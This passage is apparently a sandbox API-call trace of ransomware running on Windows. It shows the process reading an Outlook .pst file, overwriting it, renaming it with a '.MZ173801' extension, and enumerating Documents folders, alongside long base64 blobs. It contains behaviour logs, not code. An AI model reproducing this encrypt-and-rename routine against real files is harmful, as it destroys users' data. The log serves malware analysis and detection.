QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.739] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.739] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.739] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x42400 [0124.739] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.739] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef50000 [0124.740] ReadFile (in: hFile=0x294, lpBuffer=0x7ef50010, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7ef50010*, lpNumberOfBytesRead=0x18f6c4*=0x42400, lpOverlapped=0x0) returned 1 [0124.749] CloseHandle (hObject=0x294) returned 1 [0124.750] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0124.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.765] WriteFile (in: hFile=0x294, lpBuffer=0x7ef00010*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ef00010*, lpNumberOfBytesWritten=0x18f6d0*=0x42400, lpOverlapped=0x0) returned 1 [0124.772] CloseHandle (hObject=0x294) returned 1 [0124.777] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.mz173801")) returned 1 [0124.778] VirtualFree (lpAddress=0x7ef50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.780] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.784] GetCurrentThreadId () returned 0x9fc [0124.784] GetCurrentThreadId () returned 0x9fc [0124.784] GetCurrentThreadId () returned 0x9fc [0124.784] GetCurrentThreadId () returned 0x9fc [0124.784] GetCurrentThreadId () returned 0x9fc [0124.784] GetCurrentThreadId () returned 0x9fc [0124.784] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0124.784] GetLastError () returned 0x12 [0124.784] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0124.784] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x9b3856c0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b3856c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0124.784] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0124.784] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.784] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x9b3856c0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b3856c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.785] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.785] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.785] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x9b3856c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="voeimd@djhreuu.uhd.pst.MZ173801", cAlternateFileName="VOEIMD~1.MZ1")) returned 1 [0124.785] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.785] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.785] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x9b3856c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="voeimd@djhreuu.uhd.pst.MZ173801", cAlternateFileName="VOEIMD~1.MZ1")) returned 0 [0124.785] GetLastError () returned 0x12 [0124.785] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0124.785] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae73cb90, ftCreationTime.dwHighDateTime=0x1d574b3, ftLastAccessTime.dwLowDateTime=0xfceaa0d0, ftLastAccessTime.dwHighDateTime=0x1d5ae1c, ftLastWriteTime.dwLowDateTime=0x9b1e27a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xfc3b, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="q2_Y1QkDxrE4OwSA-7I8.pptx.MZ173801", cAlternateFileName="Q2_Y1Q~1.MZ1")) returned 1 [0124.785] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0124.785] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0124.785] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8796a0, ftCreationTime.dwHighDateTime=0x1d5d8a5, ftLastAccessTime.dwLowDateTime=0x42f42c50, ftLastAccessTime.dwHighDateTime=0x1d5e42c, ftLastWriteTime.dwLowDateTime=0x42f42c50, ftLastWriteTime.dwHighDateTime=0x1d5e42c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="U0EOoc3x-", cAlternateFileName="U0EOOC~1")) returned 1 [0124.785] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0124.785] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0124.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8796a0, ftCreationTime.dwHighDateTime=0x1d5d8a5, ftLastAccessTime.dwLowDateTime=0x42f42c50, ftLastAccessTime.dwHighDateTime=0x1d5e42c, ftLastWriteTime.dwLowDateTime=0x42f42c50, ftLastWriteTime.dwHighDateTime=0x1d5e42c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0124.785] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8796a0, ftCreationTime.dwHighDateTime=0x1d5d8a5, ftLastAccessTime.dwLowDateTime=0x42f42c50, ftLastAccessTime.dwHighDateTime=0x1d5e42c, ftLastWriteTime.dwLowDateTime=0x42f42c50, ftLastWriteTime.dwHighDateTime=0x1d5e42c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.785] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90f8070, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x6846ee80, ftLastAccessTime.dwHighDateTime=0x1d5e6f6, ftLastWriteTime.dwLowDateTime=0x6846ee80, ftLastWriteTime.dwHighDateTime=0x1d5e6f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="6qa-y", cAlternateFileName="")) returned 1 [0124.785] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c782380, ftCreationTime.dwHighDateTime=0x1d5e14e, ftLastAccessTime.dwLowDateTime=0xd7d17f40, ftLastAccessTime.dwHighDateTime=0x1d5e408, ftLastWriteTime.dwLowDateTime=0xd7d17f40, ftLastWriteTime.dwHighDateTime=0x1d5e408, nFileSizeHigh=0x0, nFileSizeLow=0x12230, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="cL2y69LbLQlaeySm.docx", cAlternateFileName="CL2Y69~1.DOC")) returned 1 [0124.785] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0124.786] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\cL2y69LbLQlaeySm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\cl2y69lblqlaeysm.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c782380, ftCreationTime.dwHighDateTime=0x1d5e14e, ftLastAccessTime.dwLowDateTime=0xd7d17f40, ftLastAccessTime.dwHighDateTime=0x1d5e408, ftLastWriteTime.dwLowDateTime=0xd7d17f40, ftLastWriteTime.dwHighDateTime=0x1d5e408, nFileSizeHigh=0x0, nFileSizeLow=0x12230)) returned 1 [0124.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.789] GetCurrentThreadId () returned 0x9fc [0124.789] GetCurrentThreadId () returned 0x9fc [0124.789] GetCurrentThreadId () returned 0x9fc [0124.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 